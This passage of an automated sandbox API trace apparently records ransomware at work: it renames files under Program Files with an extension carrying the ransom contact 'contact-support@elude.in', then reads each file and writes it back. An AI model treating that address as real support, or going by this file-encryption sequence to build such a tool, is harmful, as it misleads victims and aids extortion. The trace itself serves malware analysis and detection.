Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\eu-es\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0235.327] GetProcessHeap () returned 0x630000 [0235.328] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x73d2500 [0235.328] GetProcessHeap () returned 0x630000 [0235.328] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x73d1d08 [0235.328] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.328] ReadFile (in: hFile=0x6ec, lpBuffer=0x73d2500, nNumberOfBytesToRead=0x260, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x73d2500*, lpNumberOfBytesRead=0x5fbff0c*=0x260, lpOverlapped=0x0) returned 1 [0235.392] GetProcessHeap () returned 0x630000 [0235.392] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0235.392] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.392] WriteFile (in: hFile=0x6ec, lpBuffer=0x73d1d08*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x73d1d08*, lpNumberOfBytesWritten=0x5fbff0c*=0x260, lpOverlapped=0x0) returned 1 [0235.392] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.392] WriteFile (in: hFile=0x6ec, lpBuffer=0x73d1f67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x73d1f67*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.392] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.392] WriteFile (in: hFile=0x6ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.392] CloseHandle (hObject=0x6ec) returned 1 [0235.392] GetProcessHeap () returned 0x630000 [0235.392] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73d1d08 | out: hHeap=0x630000) returned 1 [0235.392] GetProcessHeap () returned 0x630000 [0235.392] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73d2500 | out: hHeap=0x630000) returned 1 [0235.392] GetProcessHeap () returned 0x630000 [0235.392] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0235.393] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.393] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebc8896, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52414d66, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x284, dwReserved0=0x5fbfd20, dwReserved1=0x73d2500, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5480 [0235.393] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0235.393] Sleep (dwMilliseconds=0x1) [0235.516] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\index.html", len=0x6f | out: pbstr=0x5fbff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\index.html") returned 1 [0235.516] GetProcessHeap () returned 0x630000 [0235.516] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5040) returned 0x6fe3bb0 [0235.516] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-za\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0235.544] CloseHandle (hObject=0x6e8) returned 1 [0235.544] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.544] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-za\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-za\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.666] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.667] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5580 [0235.675] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0235.682] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-za\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0235.683] GetProcessHeap () returned 0x630000 [0235.683] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9081) returned 0x73bc4d8 [0235.683] GetProcessHeap () returned 0x630000 [0235.683] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9081) returned 0x718a478 [0235.683] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.683] ReadFile (in: hFile=0x6ec, lpBuffer=0x73bc4d8, nNumberOfBytesToRead=0x9060, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x73bc4d8*, lpNumberOfBytesRead=0x5fbff0c*=0x9060, lpOverlapped=0x0) returned 1 [0241.841] GetProcessHeap () returned 0x630000 [0241.841] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745c648 [0241.842] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.842] WriteFile (in: hFile=0x6ec, lpBuffer=0x718a478*, nNumberOfBytesToWrite=0x9060, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x718a478*, lpNumberOfBytesWritten=0x5fbff0c*=0x9060, lpOverlapped=0x0) returned 1 [0241.842] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.842] WriteFile (in: hFile=0x6ec, lpBuffer=0x71934d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x71934d7*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0241.842] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.842] WriteFile (in: hFile=0x6ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0241.842] CloseHandle (hObject=0x6ec) returned 1 [0241.842] GetProcessHeap () returned 0x630000 [0241.843] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718a478 | out: hHeap=0x630000) returned 1 [0241.843] GetProcessHeap () returned 0x630000 [0241.843] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73bc4d8 | out: hHeap=0x630000) returned 1 [0241.843] GetProcessHeap () returned 0x630000 [0241.843] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745c648 | out: hHeap=0x630000) returned 1 [0241.843] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0241.844] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x5617ff35, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9092, dwReserved0=0xad47496, dwReserved1=0x73bc4d0, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5480 [0241.844] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0243.188] Sleep (dwMilliseconds=0x1) [0244.251] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\StoreLogo.png", len=0x6a | out: pbstr=0x5fbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\StoreLogo.png") returned 1 [0244.251] GetProcessHeap () returned 0x630000 [0244.251] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f68) returned 0x6fe3bb0 [0244.252] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\StoreLogo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\storelogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.253] Sleep (dwMilliseconds=0x1) [0244.267] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_TileMediumSquare.scale-100.png", len=0x8f | out: pbstr=0x5fbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_TileMediumSquare.scale-100.png") returned 1 [0244.267] GetProcessHeap () returned 0x630000 [0244.267] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f30) returned 0x6fe3bb0 [0244.267] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_TileMediumSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\news_tilemediumsquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.267] Sleep (dwMilliseconds=0x1) [0244.284] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_SplashScreen.scale-100.png", len=0x8b | out: pbstr=0x5fbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_SplashScreen.scale-100.png") returned 1 [0244.284] GetProcessHeap () returned 0x630000 [0244.284] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f00) returned 0x6fe3bb0 [0244.284] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_SplashScreen.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\news_splashscreen.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.286] Sleep (dwMilliseconds=0x1) [0244.294] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_LogoSmall.targetsize-16.png", len=0x8c | out: pbstr=0x5fbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_LogoSmall.targetsize-16.png") returned 1 [0244.294] GetProcessHeap () returned 0x630000 [0244.294] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4eec) returned 0x6fe3bb0 [0244.295] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_LogoSmall.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\news_logosmall.targetsize-16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.296] Sleep (dwMilliseconds=0x1) [0244.310] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", len=0x62 | out: pbstr=0x5fbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned 1 [0244.310] GetProcessHeap () returned 0x630000 [0244.310] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ec8) returned 0x6fe3bb0 [0244.310] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.312] Sleep (dwMilliseconds=0x1) [0244.325] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri", len=0x5d | out: pbstr=0x5fbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri") returned 1 [0244.325] GetProcessHeap () returned 0x630000 [0244.325] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ebc) returned 0x6fe3bb0 [0244.325] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.330] Sleep (dwMilliseconds=0x1) [0244.343] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Weather\\Weather.xml", len=0x95 | out: pbstr=0x5fbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Weather\\Weather.xml") returned 1 [0244.343] GetProcessHeap () returned 0x630000 [0244.343] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ea0) returned 0x6fe3bb0 [0244.343] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Weather\\Weather.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\weather\\weather.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.345] Sleep (dwMilliseconds=0x1) [0244.355] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrvi.rll", len=0x7f | out: pbstr=0x5fbff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrvi.rll") returned 1 [0244.355] GetProcessHeap () returned 0x630000 [0244.355] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e94) returned 0x6fe3bb0 [0244.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrvi.rll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\resources\\1033\\msmdsrvi.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0244.357] CloseHandle (hObject=0x640) returned 1 [0244.357] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0244.357] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrvi.rll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\resources\\1033\\msmdsrvi.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrvi.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\resources\\1033\\msmdsrvi.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0244.358] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0244.358] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrvi.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c70, dwReserved0=0x6c0072, dwReserved1=0x2e006c, cFileName="msmdsrvi.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSMDSR~1.FIR")) returned 0x6d5480 [0244.358] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0244.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrvi.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\resources\\1033\\msmdsrvi.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0244.358] GetProcessHeap () returned 0x630000 [0244.359] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6faaf20 [0244.359] GetProcessHeap () returned 0x630000 [0244.359] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72a3b20 [0244.359] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.359] ReadFile (in: hFile=0x640, lpBuffer=0x6faaf20, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6faaf20*, lpNumberOfBytesRead=0x5fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0252.602] GetProcessHeap () returned 0x630000 [0252.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0252.602] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.602] WriteFile (in: hFile=0x640, lpBuffer=0x72a3b20*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x72a3b20*, lpNumberOfBytesWritten=0x5fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0252.603] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.603] WriteFile (in: hFile=0x640, lpBuffer=0x72aef1f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x72aef1f*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0252.606] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.606] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0252.606] CloseHandle (hObject=0x640) returned 1 [0252.607] GetProcessHeap () returned 0x630000 [0252.607] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72a3b20 | out: hHeap=0x630000) returned 1 [0252.607] GetProcessHeap () returned 0x630000 [0252.607] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6faaf20 | out: hHeap=0x630000) returned 1 [0252.612] GetProcessHeap () returned 0x630000 [0252.612] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0254.430] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.430] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrvi.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: 